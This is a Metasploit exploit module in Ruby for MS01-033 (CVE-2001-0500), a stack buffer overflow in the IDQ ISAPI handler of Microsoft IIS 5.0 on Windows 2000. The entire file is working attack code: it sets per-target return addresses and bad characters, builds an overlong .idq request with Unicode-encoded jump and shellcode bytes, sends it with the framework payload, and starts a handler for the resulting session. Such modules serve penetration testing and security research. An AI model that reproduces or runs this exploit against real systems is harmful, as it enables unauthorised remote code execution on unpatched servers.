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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MS01-033 Microsoft IIS 5.0 IDQ Path Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in the IDQ ISAPI handler for
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          Microsoft Index Server.
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        },
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        'Author' => [ 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2001-0500'],
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          [ 'OSVDB', '568'],
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          [ 'MSB', 'MS01-033'],
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          [ 'BID', '2880'],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Privileged' => false,
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        'Payload' => {
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          'Space' => 800,
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          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows 2000 Pro English SP0', { 'Ret' => '0x6e8f3e24' } ],
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          [ 'Windows 2000 Pro English SP1-SP2', { 'Ret' => '0x6e8f8cc4' } ],
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        ],
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        'DisclosureDate' => '2001-06-18',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(80)])
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  end
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  def exploit
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    connect
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    sploit = rand_text_alphanumeric(1) + ".idq?" + rand_text_alphanumeric(232)
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    sploit << "%u06eb.%u" + target.ret[-4, 4] + "%u" + target.ret[-8, 4]
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    sploit << ".%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF="
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    sploit << rand_text_alphanumeric(1) + " HTTP/1.0\r\n\r\n" + rand_text_alphanumeric(46)
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    uri = '/' + sploit + payload.encoded
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    res = "GET #{uri}\r\n\r\n"
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    print_status("Trying target #{target.name}...")
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    sock.put(res)
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    handler
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    disconnect
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  end
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end
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